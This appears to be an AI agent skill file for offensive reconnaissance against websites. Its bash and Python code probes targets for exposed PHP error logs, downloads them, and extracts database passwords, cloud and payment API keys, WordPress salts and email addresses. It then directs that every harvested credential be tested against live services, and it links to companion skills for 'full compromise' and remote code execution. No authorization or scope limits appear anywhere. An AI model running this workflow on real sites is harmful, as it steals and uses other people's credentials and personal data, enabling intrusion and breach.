--- name: error-log-mining description: Mine error_log for creds, paths, SQL when leak hunt finds. version: 1.1.0 revision_date: 2026-07-25 license: MIT platforms: [linux] compatibility: Requires curl, grep, python3 tags: [recon, error-log, credentials, wordpress, data-mining] category: recon related_skills: - deep-invade - source-leak-hunt - phpinfo-to-rce - wordpress-full-compromise --- # Error Log Mining Skill Discover and analyze exposed PHP `error_log` files for server paths, database errors, SQL fragments, API-key candidates, email addresses, and internal addresses. Collect a bounded sample and validate the sensitivity of its content instead of inferring impact from file size or status. ## When to Use - Running `deep-invade` Phase 2 on a high-value target. - `skill_view(name='source-leak-hunt')` found an `error_log` file with HTTP 200. - Target has PHP (WordPress, Laravel, custom PHP) with `display_errors` possibly enabled. - You need server-side context (paths, DB structure) before attempting exploitation. ## Prerequisites - `terminal` with curl, grep, and python3. - Target URL with potential error_log at common paths. - Disk space: error logs can be multi-GB. Use `curl -r` for range requests on large files. ## How to Run ```bash TARGET="https://example.com" # Paths to probe for path in "error_log" "wp-content/debug.log" "debug.log" "errors.log" \ "php_errors.log" "wp-content/error.log" "logs/error.log"; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path") [[ "$code" == "200" ]] && echo "FOUND: $TARGET/$path" done # Download and analyze curl --max-time 30 --connect-timeout 10 -sk "$TARGET/error_log" -o error_log.txt python3 analyze_log.py error_log.txt ``` ## Quick Reference | Extraction Target | Python regex | Value | |------------------|--------------------------------------|-------| | Server paths | `re.findall(r'/home/[^\s:)]+', txt)` | Full directory structure | | Email addresses | `re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)` | Admin emails | | DB credentials | `DB_USER[^=]*=[\s'\"]*([^'\";\s]+)` `DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+)` `DB_HOST[^=]*=[\s'\"]*([^'\";\s]+)` `DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)` | Database access | | API keys | `sk-[a-zA-Z0-9]{20,60}` `AIza[0-9A-Za-z_-]{35}` `AKIA[0-9A-Z]{16}` `eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}` | Stripe, Google, AWS, JWT | | SQL queries | `(?:SELECT\|INSERT\|UPDATE\|DELETE\|CREATE TABLE\|ALTER TABLE)[^;]{0,300}` | DB schema, table names | | WordPress salts | `(?:AUTH_KEY\|SECURE_AUTH_KEY\|LOGGED_IN_KEY\|NONCE_KEY\|AUTH_SALT\|SECURE_AUTH_SALT\|LOGGED_IN_SALT\|NONCE_SALT)[^,;]+` | Session hijack potential | | PHP error types | `Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10)` | Error breakdown | | Date range | `re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt)` | Log freshness | ## Procedure ### Step 1 — Discover Error Log Location ```bash TARGET="$1" OUTDIR="$OUTDIR/error_logs/$TARGET" mkdir -p "$OUTDIR" echo "[*] Probing common error log paths on $TARGET..." ERROR_LOG_PATHS=( "error_log" "wp-content/debug.log" "debug.log" "errors.log" "php_errors.log" "wp-content/error.log" "logs/error.log" "log/error.log" "tmp/php-errors.log" "wp-content/plugins/debug.log" "wp-content/themes/debug.log" ) FOUND_LOGS=() for path in "${ERROR_LOG_PATHS[@]}"; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/$path" 2>/dev/null) if [[ "$code" == "200" ]]; then # Quick content check to avoid SPA false positives sample=$(curl -sk --max-time 5 --connect-timeout 5 -r 0-500 "https://$TARGET/$path" 2>/dev/null) if echo "$sample" | grep -qiE 'PHP|Error|Warning|Stack trace|\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4}'; then echo "[FOUND] https://$TARGET/$path" FOUND_LOGS+=("https://$TARGET/$path") fi fi sleep 0.3 done echo "[+] Found ${#FOUND_LOGS[@]} error log(s)" ``` ### Step 2 — Download and Sample Large Logs ```bash TARGET="$1" OUTDIR="$OUTDIR/error_logs/$TARGET" for url in "${FOUND_LOGS[@]}"; do fname=$(echo "$url" | sed 's|https\?://||' | sed 's|/|_|g') echo "[*] Downloading $url..." # First, check file size size=$(curl -skI --max-time 10 --connect-timeout 10 "$url" 2>/dev/null | grep -i "content-length" | awk '{print $2}' | tr -d '\r') if [[ -n "$size" && "$size" -gt 10000000 ]]; then echo " Large file (${size} bytes) — sampling first 5MB..." curl -sk --max-time 30 --connect-timeout 10 -r 0-5000000 "$url" -o "$OUTDIR/${fname}_sample.txt" 2>/dev/null elif [[ -n "$size" && "$size" -gt 1000000 ]]; then echo " Medium file (${size} bytes) — downloading full..." curl -sk --max-time 30 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null else echo " Small file — downloading full..." curl -sk --max-time 15 --connect-timeout 10 "$url" -o "$OUTDIR/${fname}.txt" 2>/dev/null fi sleep 0.5 done ``` ### Step 3 — Extract Intelligence ```bash TARGET="$1" OUTDIR="$OUTDIR/error_logs/$TARGET" for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do [[ ! -f "$logfile" ]] && continue echo "" echo "═══════════ $(basename "$logfile") ═══════════" echo "" # 1. Server Paths echo "[SERVER PATHS]" grep -Eo '(/[a-zA-Z0-9_/.-]+\.php)' "$logfile" 2>/dev/null | sort -u | head -20 # 2. Email Addresses echo "" echo "[EMAIL ADDRESSES]" grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$logfile" 2>/dev/null | sort -u | head -15 # 3. Database Credentials echo "" echo "[DB CREDENTIALS & CONNECTIONS]" grep -iE 'mysql_connect|mysqli_connect|new PDO|pg_connect|DB_HOST|DB_USER|DB_PASSWORD|DB_NAME|database.*password|dsn.*mysql' "$logfile" 2>/dev/null | head -10 # 4. SQL Queries echo "" echo "[SQL QUERIES]" grep -iE '(SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE|DROP TABLE).*(FROM|INTO|SET)' "$logfile" 2>/dev/null | head -10 # 5. API Keys & Tokens echo "" echo "[API KEYS & TOKENS]" grep -iE 'api[_-]?key|api[_-]?secret|access[_-]?token|auth[_-]?token|bearer [A-Za-z0-9_\-]{20,}|sk-[A-Za-z0-9]{20,}|key=[A-Za-z0-9]{20,}' "$logfile" 2>/dev/null | head -10 # 6. Internal IPs echo "" echo "[INTERNAL IPs]" grep -Eo '(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)\d{1,3}\.\d{1,3}' "$logfile" 2>/dev/null | sort -u | head -10 # 7. WordPress specific echo "" echo "[WORDPRESS PATHS]" grep -Eo '/wp-content/(?:plugins|themes|uploads)/[a-zA-Z0-9_/.-]+' "$logfile" 2>/dev/null | sort -u | head -15 # 8. PHP Error Summary echo "" echo "[ERROR SUMMARY]" echo " Fatal errors: $(grep -ci 'Fatal error' "$logfile" 2>/dev/null || echo 0)" echo " Warnings: $(grep -ci 'Warning' "$logfile" 2>/dev/null || echo 0)" echo " Notices: $(grep -ci 'Notice' "$logfile" 2>/dev/null || echo 0)" echo " Parse errors: $(grep -ci 'Parse error' "$logfile" 2>/dev/null || echo 0)" echo " Deprecated: $(grep -ci 'Deprecated' "$logfile" 2>/dev/null || echo 0)" echo " Stack traces: $(grep -ci 'Stack trace' "$logfile" 2>/dev/null || echo 0)" # 9. Date Range echo "" echo "[DATE RANGE]" first=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | head -1) last=$(grep -Eo '\[[0-9]{2}-[A-Za-z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2}[^\]]*\]' "$logfile" 2>/dev/null | tail -1) [[ -n "$first" ]] && echo " First: $first" [[ -n "$last" ]] && echo " Last: $last" # 10. Plugin/Theme Names from Paths echo "" echo "[PLUGINS FROM ERRORS]" grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -20 echo "" echo "[THEMES FROM ERRORS]" grep -Eo '/wp-content/themes/\K[a-zA-Z0-9_-]+' "$logfile" 2>/dev/null | sort -u | head -10 sleep 0.3 done ``` ### Step 4 — Extract Actionable Intelligence ```bash TARGET="$1" OUTDIR="$OUTDIR/error_logs/$TARGET" SUMMARY="$OUTDIR/intel_summary.md" cat > "$SUMMARY" << EOF # Error Log Intelligence — $TARGET ## Credentials Found EOF for logfile in "$OUTDIR"/*.txt "$OUTDIR"/*_sample.txt; do [[ ! -f "$logfile" ]] && continue # DB credentials grep -iE 'DB_HOST|DB_USER|DB_PASSWORD|DB_NAME' "$logfile" 2>/dev/null | while read -r line; do echo "- $line" >> "$SUMMARY" done # API keys grep -iE 'api[_-]?key.*=|api[_-]?secret.*=|access[_-]?token.*=' "$logfile" 2>/dev/null | while read -r line; do echo "- $line" >> "$SUMMARY" done done echo "" >> "$SUMMARY" echo "## Server Paths" >> "$SUMMARY" grep -Eo '/[a-zA-Z0-9_/.-]+\.php' "$OUTDIR"/*.txt 2>/dev/null | sort -u | head -30 | while read -r line; do echo "- $line" >> "$SUMMARY" done echo "" >> "$SUMMARY" echo "## Email Addresses" >> "$SUMMARY" grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do echo "- $line" >> "$SUMMARY" done echo "" >> "$SUMMARY" echo "## Plugins Discovered" >> "$SUMMARY" grep -Eo '/wp-content/plugins/\K[a-zA-Z0-9_-]+' "$OUTDIR"/*.txt 2>/dev/null | sort -u | while read -r line; do echo "- $line" >> "$SUMMARY" done echo "" echo "[+] Intelligence summary saved to $SUMMARY" ``` ### Step 5 — Cross-Reference with Other Findings ```bash # Does error log reveal the DB name? Cross-ref with wp-config leak DB_NAME=$(grep -Eo 'DB_NAME["\x27\s:=]+["\x27][a-zA-Z0-9_]+' $OUTDIR/error_logs/*/intel_summary.md 2>/dev/null) echo "DB name from logs: $DB_NAME" # Does it reveal internal hostnames? HOSTNAMES=$(grep -Eo '(?:[a-zA-Z0-9-]+\.(?:internal|local|lan|corp|priv))' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u) [[ -n "$HOSTNAMES" ]] && echo "Internal hostnames:" && echo "$HOSTNAMES" # Are there file inclusion paths that indicate LFI potential? LFI_PATHS=$(grep -Eo '(?:include|require|include_once|require_once)\s*\(\s*[\x27"]([^\x27"]+\.php)' $OUTDIR/error_logs/*/*.txt 2>/dev/null | sort -u) [[ -n "$LFI_PATHS" ]] && echo "Potential LFI paths:" && echo "$LFI_PATHS" ``` ## Bounded Log Miner ```python import re from collections import Counter def mine_error_log(txt): results = {} # Server paths results['paths'] = sorted(set(re.findall(r'/home/[^\s:)]+', txt)))[:20] # Email addresses results['emails'] = sorted(set(re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', txt)))[:20] # DB credentials (4 patterns extracted from php error context) db_creds = set() for pat in [r"DB_USER[^=]*=[\s'\"]*([^'\";\s]+)", r"DB_PASSWORD[^=]*=[\s'\"]*([^'\";\s]+)", r"DB_HOST[^=]*=[\s'\"]*([^'\";\s]+)", r"DB_NAME[^=]*=[\s'\"]*([^'\";\s]+)"]: for m in re.findall(pat, txt): db_creds.add(m) results['db_creds'] = sorted(db_creds) # API keys (5 pattern classes — all extracted from error context) api_keys = set() for pat in [r'sk-[a-zA-Z0-9]{20,60}', # Stripe r'AIza[0-9A-Za-z_-]{35}', # Google r'AKIA[0-9A-Z]{16}', # AWS IAM r'pk_[a-zA-Z0-9]+', # Publishable keys r'eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}']: # JWT for m in re.findall(pat, txt): api_keys.add(m) results['api_keys'] = sorted(api_keys)[:10] # SQL queries results['sql_queries'] = re.findall( r'(?:SELECT|INSERT|UPDATE|DELETE|CREATE TABLE|ALTER TABLE)[^;]{0,300}', txt, re.I)[:10] # WordPress salts (session hijack potential) results['wp_salts'] = re.findall( r"(?:AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY|AUTH_SALT|SECURE_AUTH_SALT|LOGGED_IN_SALT|NONCE_SALT)[^,;]+", txt) # Error type breakdown results['error_types'] = Counter(re.findall(r'PHP\s+\w+:', txt)).most_common(10) # Date range dates = re.findall(r'\[(\d{2}-\w{3}-\d{4})', txt) if dates: results['date_range'] = f"{dates[0]} to {dates[-1]} ({len(set(dates))} unique dates)" return results ``` ## Pitfalls - **Error logs can be very large.** Check `Content-Length` before downloading and use a bounded range such as `curl -r 0-5000000` for an initial sample. - **Logs may contain PII.** Email addresses, IPs, and usernames in error logs may constitute a data breach. Handle responsibly. - **Log rotation may truncate.** The visible error_log may only contain recent entries. Check for rotated logs (`error_log.1`, `error_log.old`, `error_log-YYYYMMDD`). - **Some hosts return garbage.** A 200 on `/error_log` might be a custom 404 page or SPA catch-all. Always check content for `PHP ` + error type pattern before analyzing. - **Old logs ≠ current vulnerability.** A 2013 error log doesn't mean the current site is vulnerable. Cross-reference log timeline with the server tech stack. ## Verification - Error log MUST contain PHP error patterns (`[date] PHP Warning:`, `Stack trace:`, `Fatal error:`) to be valid. - Every credential extracted MUST be tested for validity (try MySQL connect, API key validation). - Server paths MUST match the known directory structure (e.g., `/home/user/public_html/`). - Document the error log URL, file size, date range, and key findings for the report. - API keys from error logs are almost always production keys (unlike JS bundle keys which are often restricted).